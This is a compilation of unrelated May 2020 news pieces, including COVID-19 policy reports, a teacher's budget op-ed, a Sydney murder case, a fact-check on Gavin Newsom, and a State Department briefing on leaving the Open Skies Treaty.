The death has occurred of Majella Halstead (nee ONeill) 17th May 2020.Bolton UK/Milltown, Newbridge, Co Kildare. Peacefully at home surrounded by her loving family after a long illness born with great dignity. Beloved wife of Dave. Loving Mum of Brian and John. Loving mother-in-law of Katie and Lindsay, loving Grandma of Noah, Theo, Lottie and Alice. Deeply missed by her sister Joan her brother Paul,sister-in-law Yvonne, her nieces and nephews, grandnieces and grandnephews, her aunts Rose and Mary, her uncle JohnJoe, her many cousins and friends.

Suaimhneas siorai tabhair di.

Funeral will take place in Bolton in the UK.
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Beyond its hard-hitting rhetoric against China over its handling of the coronavirus, the White House on Wednesday issued a broad-scale attack on Beijing's predatory economic policies, military buildup, disinformation campaigns and human rights violations. The 20-page report does not signal a shift in US policy, but it expands on Trump's get-tough rhetoric that he hopes will resonate with voters angry about China's handling of the disease outbreak that has left tens of millions of Americans out of work.





Coronavirus crisis: Ramp-up operations, increase investment, Sitharaman tells India Inc





Shortly after Civil Aviation Minister Hardeep Singh Puri announced that India will resume domestic flights from May 25, domestic carriers IndiGo and SpiceJet said that they are fully prepared with safety measures to get back to work. Gurgaon-headquartered IndiGo, India's largest airline by passengers carried and fleet size, said that it will be resuming flight operations from May 25, 2020 in a "phased manner".Airline Lufthansa said on Thursday it is in advanced talks with the German government's economic stabilisation fund over a rescue deal worth up to 9 billion euros ($9.9 billion), including the state taking a 20% stake in the company. Lufthansa has been in talks with the government for weeks over aid to help it weather the coronavirus pandemic and what is expected to be a protracted travel slump.Union Finance Minister Nirmala Sitharaman during her virtual conference with senior members of Confederation of Indian Industry (CII) on Wednesday asked them to ramp up operations and pump in more money to offset the impact of the coronavirus-induced slowdown. The virtual meeting, which was held to mark 125 years of the CII's existence, was reportedly designed to assess the industry mood over the stimulus package announced by the government.Super cyclone Amphan made a landfall in India around 7 pm on Wednesday. The extremely severe cyclone has battered West Bengal and Odisha, packing winds gushing up to 190 kmph, causing heavy rainfall, uprooting trees and swamping homes and farmlands. The cyclone Amphan has reportedly taken away 12 lives.Indian pharmaceutical company Strides Pharma Science Ltd said on Thursday it has obtained regulatory approval to conduct clinical trials of antiviral drug favipiravir, a potential treatment for COVID-19.The company has received approval from the Drug Controller General of India to conduct trials of favipiravir in the country.
The two regions closest to New York City could start the process of reopening their economies next week if deaths from the novel coronavirus continue to decline and a tracing program is up and running, New York Governor Andrew Cuomo said on Friday.

Cuomo told a daily briefing the Long Island region, which includes Nassau and Suffolk counties, and the Mid-Hudson region, which includes Dutchess, Orange and Westchester counties, were close to reopening.
As someone who has sat on the teacher contract negotiations committee for the last dozen years, I am disheartened to hear of the intent to make $15 million of the city deficit a portion for the BOE to contribute. In a nutshell, teachers and staff will face shouldering the majority of that burden. To also learn that there is $14 million city surplus that will be allocated to short term capital projects instead of fixing the proposed education cuts is also deeply upsetting. Nowhere is the need greater than to the BOE and the teachers of Stamford.

Each day, as teachers, we give 100 percent to our students to develop the academic and social growth of our children. Whatever we are asked to give, we give and then some. The Central Office Administration looks for teachers to fund their mistakes, programs, raises, etc.

By the numbers  on March 13, 693 new Google Classrooms were created by teachers. Since distance learning started, SPS teachers have sent more than 6 million Gmails (up 644 percent, from in person learning), held 133,570 video Hangouts, and added 2.9 million files to Google Drive. On an average day in distance learning, the number of files created and added to Google Drive are as follows: 37,974 new Google Docs, 23,921 other file uploads, 14,925 new Google Presentations, 733 new Google Sheets, 464 new Google Drawings, and 445 new Google Forms. This is the work teachers are doing, day in, day out.

The State of Connecticut last week secured $111 million from the federal government that will be directed to boards of education throughout the state. Of that, $2.7 million was allocated to Stamford Public Schools. As teachers and staff, we have done one heck of a job for our students when it comes to distance learning. How much of that will the BOE direct to teacher salaries? We are the ones working on the front lines every day.

As I listen to Gov. Ned Lamont, there is a strong chance that we will not return in September and distance learning will continue. Nine states in the region, including Connecticut, are putting millions of dollars aside in anticipation that this might occur. They are looking at cuts to class sizes and staggered days as keys to help eliminate the possible exposure to COVID-19. That means we are realistically looking at a necessary growth of teachers and staff with no cuts, if we intend to keep students safe.

On May 14, the CDC put out their recommendations for K-12 schools in making decisions when it comes to the COVID-19 pandemic. A brief info graphic can be found at https://bit.ly/3gbX53J.

We are told all the time: The No. 1 priority of districts and schools is to promote a healthy and safe learning and working environment for its students and staff. To that end, the CDC states that districts and schools should consider:

1. Will reopening be consistent with applicable state and local orders?

2. Is the school ready to protect children and employees at higher risk for severe illness?

3. Are you able to screen students and employees upon arrival for symptoms and history of exposure?

4. Cleaning, social distancing, limiting class size, training, protecting those with underlying conditions or at high risk and other precautions must be adhered to as well.

Again, it looks like we will have to add, not cut, staff to provide that safe and healthy environment for all.

I know I will be looking hard at what SPS intends to do as someone at the top of the risk pool. I had a major heart attack a couple of years ago and suffer from coronary heart disease.

Lets see what happens with funding from the federal and state governments before we commit to budget cuts. Once we make cuts to teachers, staff and the budget, they will never be recovered. The history in this district shows us that.

John Corcoran is a sixth-grade math teacher in Stamford Public Schools and vice president of the SEA (teachers union).
New guide contracting prices for 2020-21 have been published, giving a UK national average to help benchmarking for contractors and farmers.

The guide shows that overall, there has been a slight upward trend in prices from 2019, reflecting the increasing cost of staff and inputs.

However, prices may still vary significantly with region, soil type, customer size and machinery, the National Association of Agricultural Contractors (NAAC) said.

Farmers have been told by the body to expect contracting prices to be quoted higher or lower than the guide.

"Inevitably, in coming weeks, I will hear that these costs are both too high and too low," Jill Hewitt, NAAC chief executive said.

"But I urge contractors and farmers to work in partnership, making certain more than just cost is weighed up.

"Consider if safety management is in place, if environmental scheme requirements will be met, if there is sufficient specialist insurance and whether there will be security and longevity on both sides."

The guide contains average prices surveyed from NAAC members  however the actual price may vary considerably between regions, soil types, distance travelled and size of contract undertaken.

Contractors may also have individual arrangements with customers regarding diesel, for example separate fuel surcharge and fuel used on-farm.

The prices in the guide do not reflect this market trend and may make a significant difference to contracting charges.

Prices in the guide are based on red diesel at 60p per litre.
Hyderabad, May 22 : Telangana Chief Minister K. Chandrashekhar Rao has directed officials "to ensure that no migrant worker undergoes the unfortunate situation of walking back to his native place".

He asked Chief Secretary Somesh Kumar to arrange trains for the migrant workers to help them reach their home. He said that if trains are not available buses be arranged for such workers.

KCR, as the chief minister is popularly known, appealed to migrant workers not to resort to walking back, as the state government would take the responsibility of shifting them to their native places.

The chief minister made the appeal late on Thursday amid reports that several migrant workers are still leaving on the arduous journey by foot to their destinations.

The Telangana government has so far transported over one lakh migrant workers to their home states by 74 trains. Officials said that 1,01,146 passengers were transported by Shramik special trains till May 20.

The authorities operated maximum 26 trains to Bihar, 14 trains to Uttar Pradesh and 11 trains to Jharkhand. Trains were also operated to Madhya Pradesh, Rajasthan, Orissa, Chhattisgarh, North East, Uttarakhand, West Bengal and Punjab.

In fact, the first Shramik special train in the country was operated from Telangana on May 1. The train from Lingampalli near Hyderabad carried 1,225 migrants to Hatia in Jharkhand.

The state government has paid Rs 8.5 crores to the railways towards the payment of fare of all the migrant workers.

The chief secretary has directed the officials to make arrangements for further movement of stranded persons by trains.

Meanwhile, the state government informed Telangana High Court that over 3 lakh migrants applied to the police and other authorities to allow them to go back to their native states.

In an affidavit filed in response to a Public Interest Litigation (PIL) with regard to the issue of stranded migrants, the government said over 3 lakh migrants applied online.

Police are according permissions to individuals who are leaving the state through their own transport. The court was informed that the police issued 23,875 passes and with the help of these passes as many as 1.24 lakh people had already left the state.

The court was also told that over 64,000 people stranded in other states have returned to Telangana after easing of lockdown norms.

-- The story has been published from a wire feed without any modifications to the text
EL CENTRO, Calif. - California Gov. Gavin Newsom said Friday that the state is building a field medical station with up to 125 beds to aid a farming region along the Mexican border that has witnessed a surge in coronavirus cases.

As many parts of the state eased restrictions, Newsom said Imperial County, with a population of 175,000 people in the states southeastern corner, continues to be of concern.

Newsom said such deployments may happen elsewhere in the state if we start to see some incidences of spread that cannot be contained, particularly in communities that dont necessarily have the resources of other communities.

Its an expression of this: Expression of faith and devotion to this cause as well of your public health and the virulence of this disease, he said.

The Imperial Valley, which provides many of the vegetables in U.S. supermarkets during winter, lies across the border from Mexicali, a sprawling industrial city of 1 million people that has enormous influence on its economy and culture.

It is unclear what caused the surge in coronavirus patients. But Adolphe Edward, chief executive officer of El Centro Regional Medical Center, is among those who believe that U.S. citizens who live in Mexicali, Mexico, play a major part.

Edward told the El Centro City Council Friday that the temporary facility at the Imperial Valley College gymnasium was expected to open Monday to receive transfers from local hospitals, with state and federal support.

Im so happy that its here because its a safety net, Edward said.

Hospitalizations from COVID-19 had dropped to 60 on Friday from 74 on Tuesday, according to the Imperial County Health Department website. But patients have been to other hospitals in Southern California. The regions two hospitals sent 16 patients outside the region on Monday and Tuesday alone.

El Centro Regional Medical Center, the largest in the Imperial Valley, had 52 coronavirus patients Friday, down from 65 earlier this week, said Edward, who declared himself at ease but expressed concern that socializing over Memorial Day weekend could produce more cases.

Janette Angulo, Imperial Countys public health director, said Thursday that the temporary facility at Imperial Valley College would house 80 beds and accommodate less ill patients who are transferred from local hospitals.

Angulo said U.S. citizens in Mexicali may be affecting the count but that it was difficult to quantify. The region has many dual citizens who live in Mexicali.

We are a binational community, she said. Theres a lot of interaction both northbound and southbound every day in our regular lives.
A nursery worker accused of stabbing his wife to death a month after she obtained a domestic violence order against him has appeared in a Sydney court.

Baltej Singh Lailna, 31, is accused of murdering his wife, Kamaljeet Sidhu, in their Quakers Hill house in western Sydney on Wednesday evening.

Lailna was arrested and taken to Blacktown Hospital for treatment to lacerations on his hands before being charged on Thursday.

Wrapped in a blanket, he appeared on Friday via video link in Parramatta Local Court, where he did not apply for bail and it was formally refused.

Emergency services were called to a home in Ramona Street, Quakers Hill on Wednesday at about 6.30pm, where they found international student, Kamaljeet Sidhu, 27, deceased in her bedroom

Lailna is next due to face Penrith Local Court on July 17.

It's alleged he slit his wife's throat with a 15cm kitchen knife, sources close to the investigation told the ABC.

Mrs Sidhu was granted an interim apprehended violence order against her husband on April 24 which allowed the couple to live together but he could not 'assault or molest' his wife, Police Superintendent Jennifer Scholz said.

It's understood the couple had been married for four years and moved to Australia from India two years ago.

Mrs Sidhu is the 21st woman in Australia to be violently killed this year.

Executive officer of the Women's Legal Service NSW, Helen Campbell, said police can ban a partner from living in the couple's home even if it wasn't requested by the victim.

Ms Campbell praised police for the work they do protecting women, but she believed more needs to be done.

'I think it is a question of police taking more time to work out what they really need to do upfront on an interim basis and taking it to a court quickly if it looks like the situation is escalating,' Ms Campbell told The Daily Telegraph.

Police arrested and charged her husband, Beltej Lailna, 31, with her murder and it's alleged he slit his wife's throat with a 15cm kitchen knife (pictured: Two officers escort Lailna from hospital after he was released)

Mrs Sidhu's brother had been staying with the couple over the past few months and found her body when he returned home from work on Wednesday night.

Forensic officers attended the home on Friday morning to determine the motive behind Mrs Sidhu's murder.

Shocked neighbours recalled hearing a distressed woman's screams from the home.

Forensic officers attended the home on Friday morning to determine the motive behind Mrs Sidhu's murder

Mohamed Nazari said police attended the same home four days earlier regarding a separate incident.

'She was screaming and crying. I left and I came back and there were heaps of cops,' Mr Nazari

Supriya Mattal added: 'I've never heard them fight before. They keep to themselves. This is a quiet area  I am so shocked.'
Telangana Chief Minister K. Chandrashekhar Rao has instructed officials concerned to ensure that no migrant worker should undergo the unfortunate situation of walking thousands of kilometers to their native place.

Since the last few days in Telangana there's been a severe heatwave in the region making it dangerous for migrant workers who want to travel back home on foot.

The CM has instructed Chief Secretary Somesh Kumar to arrange trains for the migrant workers to reach their native places. He also said that if need be, arrange buses if train services are not available.

The CM also appealed to migrant workers not to walk back to their native places, as the state government would take the responsibility of shifting them to their native places.

Notably, the Indian Railways had decided to operate the 'Shramik Special' trains subsequent to the Ministry of Home Affairs (MHA) order regarding the movement of migrant workers, pilgrims, tourists, students and other persons stranded at different places via special trains.

These trains have ferried migrants to cities like Tiruchchirappalli, Titlagarh, Barauni, Khandwa, Jagannathpur, Khurda Road, Prayagraj, Chhapra, Balia, Gaya, Purnia, Varanasi, Darbhanga, Gorakhpur, Lucknow, Jaunpur, Hatia, Basti, Katihar, Danapur, Muzaffarpur, Saharsa, etc.

Meanwhile, the number of cases in Telangana stands at 1,699 which includes 1035 recovered cases and 45 deaths.
Oregon's Gov. Kate Brown's Executive Order 20-03, a COVID-19 pandemic stay-at-home order was issued on March 8, 2020, and has been invalidated by Baker County judge's orders on May 18, only to be issued a temporary stay in the same evening of May 18--putting Kate Brown's Executive Order still in effect.

Brown's order has been extended to 60 more days, having an effect until July 6, which essentially goes against a law that allows public health emergencies to extend for only 28 days.

Gov. Kate Brown was sued by 10 churches on May 6 that argue that her executive orders violate their constitutional rights to assemble and worship.

Baker County Circuit Court Judge Matthew Shirtcliff ruled Gov. Brown's executive orders as "null and void."

"The governor's orders are not required for public safety when plaintiffs can continue to utilize social distancing and safety protocols at larger gatherings involving spiritual worship, just as grocery stores and businesses deemed essential by the governor have been authorized to do," Judge Shirtcliff stated.

Gov. Brown filed an appeal of the County Judge's decision to the Supreme Court in hopes of keeping the restriction in effect.

Gov. Brown expressed her concern for the national pandemic in a statement, "From the beginning of this crisis, I have worked within my authority, using science and data as my guide, heeding the advice of medical experts. This strategy has saved lives and protected Oregonians from the worst of the COVID-19 pandemic."

Shirtcliff's ruling of Gov. Brown's orders being "null and void" will be at a pause until the higher court considers the issue. For now, Brown's orders are still in effect.

Although attending church may be difficult at the moment, we hope that Oregonians are still able to have a time of worship in their homes.
CLAIM: California Gov. Gavin Newsom has been defying his own stay-at-home order and fleeing to Montana.

THE FACTS: The governor has not left the state since the stay-at-home order was issued.

Posts claiming the governor fled to Montana date back to at least May 5, with comments shared on Facebook suggesting the governor was seen in Bitterroot Valley without a mask. Did you and your family enjoy being in Bitterroot Valley Montana last weekend? one comment stated. Whats wrong with staying in the state you have locked down. The falsehood gained traction this week with posts featuring a photo of the governor receiving thousands of likes. I am Gavin Newsom. I ordered California to stay home, no trips or vacations this summer. I decided to take a family vacation to Montana this weekend. Do as I say, not as I do, the posts said.
Briefing with Special Presidential Envoy for Arms Control Marshall Billingslea and Assistant Secretary for International Security and Nonproliferation Dr. Christopher A. Ford On the Treaty on Open Skies

Special Briefing

Marshall Billingslea, Special Presidential Envoy for Arms Control

Dr. Christopher Ashley Ford, Assistant Secretary

Bureau of International Security and Nonproliferation

Via Teleconference

May 21, 2020



MS ORTAGUS: Thanks everybody for jumping on the line. We're glad that we were able to make sure that this happened today. This briefing is on the record, not embargoed. I think the President's already talked about it, and in fact I think Ruben just got the Secretary's statement out, so you all should have that in your inboxes. I have two of my colleagues and friends with me: Chris Ford and Marshall Billingslea. Chris will go first with some comments and then Marshall will. I'm sure we have a lot of questions, so as the person from AT&T said, reminder to press 1 and then 0, and then we will  we'll get as many questions in as we possibly can.

So thanks again for jumping on this call, and I'll just go ahead and turn it over to Chris to begin, and then Marshall right after. Go ahead.

ASSISTANT SECRETARY FORD: Thanks very much, Morgan. My name is Chris Ford, as Morgan indicated, and I am the assistant secretary here at the department for international security and nonproliferation, and currently fulfilling the duties of the under secretary for arms control and international security.

So good afternoon. Thanks for giving us the chance to talk with you for a few minutes. As you will have just heard, the President has in fact decided to withdraw the United States from the Open Skies Treaty. And what I'd like to do is briefly outline the reasons that led the U.S. Government to that decision.

This is the culmination of a months-long review process, for quite a few months now  I think it's eight months or so  that involved close and nearly continuous discussions and consultations with our allies and our partners in the Open Skies Treaty. We solicited their views, their input on multiple occasions, including even in the form of a written questionnaire that we sent them in order to make sure that the fullest possible range of issues were raised and that they had the chance to air any concerns they might have. I can assure all of you that they were not shy about providing us with input, and we are very grateful for the time and effort that so many of them took in providing us with their thoughts over the course of these consultations.

After digesting all this input, the U.S. however has reached the decision that it is no longer in the U.S. national interest to continue participating in the treaty. And if I might, the reasons for this fall roughly into a few baskets, if you will. First of all, we need to view Russian  Russia's behavior on the Open Skies Treaty in a broader context in which Russia is clearly no longer committed to cooperative security in the way that one had hoped that it would have been. Russia's violation of the Open Skies Treaty is just one instance in a pattern of Russian violations of its arms control nonproliferation and disarmament obligations and commitments that affect European security and affect the arms control architecture. This, of course, includes things such as its violation of the arms control treaty, which of course destroyed that treaty; its actions against Georgia and Ukraine, including its purported annexation of Crimea, which have been contrary principles set forth in the Helsinki Final Act; its purported suspension  which isn't really a legal thing, but the word that the Russians use  of its obligations under the Conventional Forces in Europe Treaty, and its selective implementation of the Vienna Document.

So this security environment is very much in contrast to the sort of environment that the treaty intended to be a part of  the treaty, when it was negotiated and when it entered into force. And this has been a source of great concern. Russians across the board are responsible for creating that situation, but this is not the world into which the Open Skies Treaty was birthed.

So the second bundle of concerns have to do with Russia's ongoing violations of the Open Skies Treaty, which we've been documenting in the State Department's compliance reports essentially from the very outset. Findings of noncompliance first appeared in 2005 with our State Department report, which was the first such report since the Open Skies entered into force in 2002. So from the outset of the treaty, Russia has failed properly to provide airspace and airfield information, which is inconsistent with treaty obligations, and it's been steadily documented ever since that a series of shifting violations of the treaty have simply kept occurring. They  a series of reports from 2004 through 2008, information reports from 2014 through 2019, all these have detailed various illegal Russian restrictions on oversights  on overflights, I should say, and other problems with treaty implementation. This has included airspace restrictions without justification, improper claims of force majeure, limits on flights over places such as Chechnya, and of course, most recently, as we have detailed publicly in the executive summary of our most recent compliance report, Open Skies problems persisted through 2019 in the form of an illegal sub-limit for flights over the Russian enclave of Kaliningrad, restriction of flights along the Georgia border, and also restriction of  denial of flights over a military exercise called Center which took place in September of 2019.

Now, those of you who know the history of Open Skies will know that this is an idea that came originally from President Dwight Eisenhower back in 1957, who had the vision of a confidence-building regime in which each superpower  then in the Cold War  could demonstrate to the other that it had nothing to fear because no area was off limits to peaceful image collecting flights. And that of course all made sense as a theory, and the message intended was you can fly anywhere you like and look at anything you want at any time. And if indeed that had been the message that Russia had been sending all these years, that would probably indeed have promoted confidence and trust and helped Europe be a more peaceful place.

The problem is that's not the message that Russia has been sending. What it has been saying is yes, you can fly anywhere you want and look at anything you like at any time except for the things we don't wish you to see. And that kind of selective limitation clearly cuts at the heart of the confidence-building that is the purpose of the Open Skies Treaty.

So the third bundle of concerns relates to how Russia has used the treaty essentially as a propaganda tool. The Kremlin injects into its implementation of the treaty propaganda statements, in effect, in support of Putin's policy of regional aggressive conduct  for example, by falsely claiming that the Georgian regions of Abkhazia and South Ossetia are so-called independent countries. That's the reason, actually, that Russia says it has been violating  well, it doesn't say it's been violating  the reason for Russia's violations of the Open Skies Treaty with respect to the Georgia border are rooted in its claim that these two countries which it seized from Georgia by force in 2008 are in fact independent. So that clearly undermines confidence and undercuts the peace-building purposes of the treaty in very dangerous and problematic ways.

Russia has also used airfield designations in support of its propaganda narratives that Crimea is in fact part of the Russian Federation. After having seized that territory and purportedly annexed it, Russia has been trying to use Open Skies airfield designation to get de facto admissions from other countries that in fact Crimea is part of Russia. And that, while not a violation of the treaty, is clearly deeply problematic and profoundly undercuts the kind of confidence that we had all hoped to get from the Open Skies mechanism.

So these kinds of moves are deeply offensive and undermine trust in Russia's good faith. It's improper to use a treaty, we think, as a political weapon to advance propaganda about regional aggression like that, and we think this is sort of a perversion, in effect, of the purposes of the treaty.

The fourth and final concern that I want to recount to you all today is actually more concrete, and that is that Russia may be using imagery that is collected from Open Skies flights to support its new doctrine of targeting U.S.  and, I should add, European  critical infrastructure targets with conventionally armed precision-guided missiles. Now, it's not a violation of the treaty to collect imagery of civilian infrastructure, of course, but if a state party turns around and uses that imagery to support offensive military targeting, clearly that is nonetheless problematic and represents a way in which Russia has been very deliberately trying to twist the treaty in ways that are very much not conducive to our security interests or those of other partners in the treaty itself.

So for all these reasons, we are  we're  clearly been very unhappy with how Russia has been misusing and manipulating the treaty and of course violating it pretty much from the very beginning. And this has all contributed to the President's decision that it is no longer in our interest to remain in the treaty, and for that reason, we will be notifying the treaty depositories pursuant to Article 15 that it is the United States intent to withdraw. That will in turn start a six-month clock, at the end of which the United States will no longer be a participant in Open Skies.

Now, it is also true, as you may have heard from President Trump at the White House just about an hour or so ago, that the United States might be willing to revisit this if Russia returns to full compliance, but that is a decision for Russia to make, and we'll have that conversation in the event that they choose to do that. So that's the basic news today, and I think I'll turn it back over to Marshall and to Morgan for further gloss on today's events and putting it all into context of our broader arms control agenda.

MR BILLINGSLEA: Thanks, Dr. Ford. This is Marshall Billingslea. I'm the ambassador and the President's special envoy for arms control. I'll build off of what our assistant secretary just said regarding the specifics of Open Skies to re-emphasize some key points here.

First is that, as Chris has laid out, Russia has systematically destroyed conventional arms control in Europe. They abandoned the CFE Treaty, the Conventional Armed Forces in Europe Treaty, which put real limits on things like tanks and armored personnel carriers in the region east of the Urals. They did that  they abandoned that treaty despite the fact that the thing was renegotiated to accommodate Russia, which is remarkable.

The Open Skies Treaty violations you just heard. The failure to implement the Vienna document notification requirements fully  obviously, the egregious and flagrant violation of the UN Charter itself as well as the Helsinki Final Act with their attempted annexation of Crimea and their invasion of Ukraine.

But actually, this fits into a larger pattern of systematic damage conducted by Russia against the international arms control architecture, both bilateral and multilateral. Who can forget the use of the deadly Novichok nerve agent, a clear violation of the Chemical Weapons Convention? The INF Treaty  destruction of the INF Treaty by Russia clandestinely developing and ultimately fielding a medium-range nuclear-tipped cruise missile in direction contravention of its promises under that treaty.

There is here, I think, three important points as we look forward to the future of arms control globally and with Russia. The first is that the President has made crystal-clear today that the United States expects that our treaty partners behave in a responsible fashion. We have every right, when we enter into a contract, which is precisely what a treaty is, that the other contracting parties will do what they commit to do, and that we will hold them to account, and that there will be consequences if parties violate or fail to implement their promises and their commitments and their obligations. One consequence, as you have seen today, is that we reserve the legal authority, which is codified in all of these agreements, that if the other party is not holding up their end of the bargain, we do have the right to withdraw from the arrangement.

But also equally important is providing ourselves a degree of assurance when we really begin to question or have a lack of trust in our partners that they will follow through and that they will do what they promise. Then we need to have strong verification and compliance mechanisms in these treaties, and that's precisely where we're headed with the future of nuclear arms control.

As you will hear in a televised event at the Hudson Institute here in about 40 minutes, I will be announcing that we are on the cusp of relaunching and restarting arms control negotiations with the Russians  and our expectation is that the Chinese will likewise be at the table  to develop the future of nuclear arms control, a trilateral arms control agreement that addresses a worrisome cycle that we see emerging with respect to an arms buildup both on the part of the Russians, but particularly on the part of the Chinese.

You should expect, given today's events and given the kinds of concerns that you've heard laid out here today, that verification and compliance will feature prominently in our thinking and in our negotiations going forward. But we do believe there is a path ahead. We are very eager to begin discussions with the Russians and with the Chinese. And to that end, my counterpart Deputy Foreign Minister Ryabkov and I have had a strong conversation, a lengthy conversation setting the stage for the kinds of topics that will be discussed and agreeing that we will meet in person, in Europe, with our delegations as soon as the pandemic recedes to a point at which we can make that happen.

In the meantime, electronic forms of communication are underway, the venue has been selected, the agenda is under development, and I am pleased that in the very near term, you will see that the United States drives forward a modernization of nuclear arms control.

With that, I will turn it back over to Morgan.

MS ORTAGUS: Thanks, guys. So let me just see. I think we've got our question queue up and going. We've got a couple people in the queue, so just a reminder, if you have a question, to dial 1 and 0. Let's go  first go over to Jonathan Landay from Reuters.

QUESTION: Thank you very much. Thanks, guys. Marshall, I  you did an interview earlier this month in which you basically implied or appeared to imply that if the United States decides not to extend New START, it will blame China, which is not a party to that agreement. Can you say why the United States would not extend the treaty for up to five years to give the space to China and Russia to discuss a new replacement multilateral treaty?

MR BILLINGSLEA: Well, thanks for that.

MS ORTAGUS: I just 

MR BILLINGSLEA: Yeah, go ahead, Morgan.

MS ORTAGUS: Yeah  no, it's okay. I just want to remind everybody that this briefing is about the Open Skies announcement today, so Marshall or Chris, you can touch on that from a very high level, but I don't think we have anything new to announce yet.

MR BILLINGSLEA: Yeah. I will redirect back to Open Skies, but you'll get more context also out of the Hudson Institute interview. We are  I'm not going to foreshadow what we may or may not do. All options remain on the table. It is very much the case  and the Russians themselves have said this in the wake of concluding New START a decade ago  that the next arms control agreement must be multilateral. Ryabkov himself said that. We believe that that was an accurate thing to say at the time, and it's even more essential that we follow through on that today. And so we do absolutely expect that whatever arrangements are reached, the Chinese will be part of a trilateral framework going forward.

MS ORTAGUS: Great, thanks. Next in the queue we have Said Arikat.

QUESTION: Thank you, Morgan. Yes, sir. To Dr. Ford, sir, you said just a little while ago that Russia was using civilian targets allowed under the treaty for military purposes. Can you give us an example of that, if possible? And has any one of your allies, like Germany, like France, or the United Kingdom that you must  you informed, did they indicate that they will follow suit? Thank you, sir.

ASSISTANT SECRETARY FORD: Well, thanks. It certainly is an important question. You will not, I think, however, be surprised if I am not at liberty to go into some of the details of why we think that this is a concern under the Open Skies Treaty. But I do want to point out that it's not a violation of the treaty to use imagery, I mean, in  for whatever purpose. The treaty does not specify the uses of imagery.

But while not a violation per se, it's clearly something that is deeply corrosive to the cause of building confidence and trust, which is of course what the Open Skies Treaty really ought to have been all about. To our eye, Russia's moves in this direction are ones that are very poisonous to the kind of environment the treaty was supposed to be creating. And rather than building confidence and trust and bringing Europe more steadily together, these kinds of efforts to twist the treaty for service  in the service of what is, in a sense, a strategy of military coercion and threat  are very caustic and the kind of thing that we are no longer willing to associate ourselves with.

MS ORTAGUS: Great. Thanks. Let me just see who we've got in the queue next. John Hudson, Washington Post.

QUESTION: Hi. Thanks. A question for Marshall. Where does your confidence come from when you say your  our expectation is the Chinese will be with us at the negotiating table? I'm wondering what sort of arguments the U.S. is making to sort of incentivize the Chinese to be there, and at what level do you think the Chinese are going to be engaging with you in their system in terms of counterparts.

MR BILLINGSLEA: Hi. The recorded event with Hudson really tackled that, so let me steer you towards that. But what I would say is that there's a number of considerations. On its face, the Chinese have an obligation to negotiate with us in good faith. They have that obligation from their NPT requirements. We expect them to honor that. But we also know that they want to be treated as a great power, and what better way to be accorded great power status than to be seen as entering in as a great power to arms control negotiations with the Russians and the Americans.

MS ORTAGUS: Thanks, guys. And I actually  for our bullpen, I will email to Ruben a copy of Marshall's remarks. If we can just keep those embargoed until the Hudson event  it's only a half hour away  but I'll get those to you guys now, so that way you have the remarks.

Again, 1 and 0 if you want to get in the queue for a question. We've got Aaron Mehta from Defense News.

QUESTION: Thank you for doing this. I just wanted to clarify one thing that's kind of been a question from some critics of this move. A longstanding concern has been Kaliningrad and the fact that flights are not allowed over that area. But it appears, according to the Estonian Government, that an overflight actually did occur in late February, February 19, 20th, with observers from the U.S., Estonia, and Lithuania going over Kaliningrad. I'm wondering if you can just square the circle on that.

ASSISTANT SECRETARY FORD: Certainly. Look, we've complained for some time about what is clearly a treaty not-permitted sublimit on flights over Kaliningrad. It's not that they were entirely prohibited; it's that there were unlawful restrictions on flight duration that were  or flight distance that were put over Kaliningrad. As this all  it has become clear that we have been reviewing our participation in the Open Skies Treaty, it is correct that a very slightly longer flight was, in fact, recently permitted.

That doesn't undermine the basic point that Russia clearly regards its Open Skies legal obligations as something akin more to guidelines or options for them, and it has demonstrated both with the Kaliningrad sublimit and with a host of other restrictions to which I alluded earlier, it's been showing ever since the treaty, in fact, entered into force that it basically feels willing to turn its obligations on and off like a light switch and to deny or restrict flights whenever it wishes others not to observe or not fully to observe some particular activity or location.

That's exactly the kind of behavior that  and under President Eisenhower's original vision  is really very much contrary to the confidence-building vision of the treaty. And I think the key point here is this sort of shifting kaleidoscope of different violations, which Russia has felt perfectly free to engage in ever since the treaty entered into force and, frankly, has had no accountability for that, and we are now finally providing that kind of accountability. The kind of behavior and selectivity that they've demonstrated is not consistent with the purposes of the treaty, and unfortunately it has greatly undermined that confidence-building purpose.

MS ORTAGUS: Thanks. Okay. Next in the queue we have Deb Riechmann from Associated Press.

QUESTION: Hi, I was just wondering if Trump's remarks on the South Lawn, where he said he might reconsider if Russia stops violating the Open Skies Treaty, if that is  how that is linked to the New START negotiations. Is this a  can you expound on that a little bit?

MR BILLINGSLEA: Well, I mean, so the  I wouldn't draw a direct linkage in the sense that you're talking about a confidence- and security-building measure in Europe versus a series of limitations on deployed nuclear warheads between the U.S. and Russia. The linkage, though, is both in terms of the principles that I talked about  the principle that you expect the other side to live up to their obligations  and to the extent that Russia were to resume abiding by its obligations, that certainly helps rebuild some of the trust that's otherwise been shattered in the relationship.

But that really is  that's up to the Russians to decide. We go forward into these new nuclear negotiations with our eyes wide open and with the expectation that we're going to have to have very, very tough verification measures for both Russia and China, especially when it comes to something like the sanctity, the integrity of a limitation on our nuclear deterrent.

MS ORTAGUS: Okay. It looks like we have actually come to the end of the queue, so I'll wait a couple more seconds if anyone else jumps in with a question. If not, we're going to ahead and end this briefing. And all of you should be getting Marshall's embargoed remarks from Ruben as well. Remember, they're embargoed.

Okay. Ruben, anyone else in the queue?

MR HARUTUNIAN: Michael Gordon.

MS ORTAGUS: Okay. Go ahead, Michael.

QUESTION: I have a question for Chris Ford or Marshall. President Trump and Secretary Pompeo have said that the U.S. may reconsider and return to the Open Skies Treaty if the Russians returned to a full compliance. You have identified several areas in which we have concerns about the Russian activity  denial of access and flights over their territory, but also the gathering of targeting information in their flights over the U.S.  among other concerns. What does it mean for the Russians to return to full compliance? Would it be sufficient for them to provide unrestricted access over their territory, or do they need to do more?

ASSISTANT SECRETARY FORD: Well, Michael, I would say  this is Chris. I would say that that's a fact pattern we'll have to deal with when we encounter it. I mean, this has been, in effect, a totality-of-the-circumstances decision. As I was describing, some of the things that have undermined confidence-building purposes of the treaty are things that are a result of behaviors by the Russian Federation that are not, in fact, violations of the treaty. Other aspects of Russian behavior are very much violations of the treaty. And so it's the combination of all those things that has led to this decision.

And so were Russia to return to compliance, we would have to presumably make that decision at the time about what to do with it, do in response to that, on that basis of the circumstances that obtained at that time. And that, of course  just as our decision now has many variables, we would have to sort of see what the net impact of Russian behavior at that time in the world is.

But that's a conversation we would very much like to have if Russia would give the world the opportunity to see that happen. So we'll see where they go, but the ball is very much in the Kremlin's court, but that's a conversation we'd be happy to have if they are finally willing to do the right thing to the extent that it is necessary to do to bring that about. So looking forward to it, I hope.

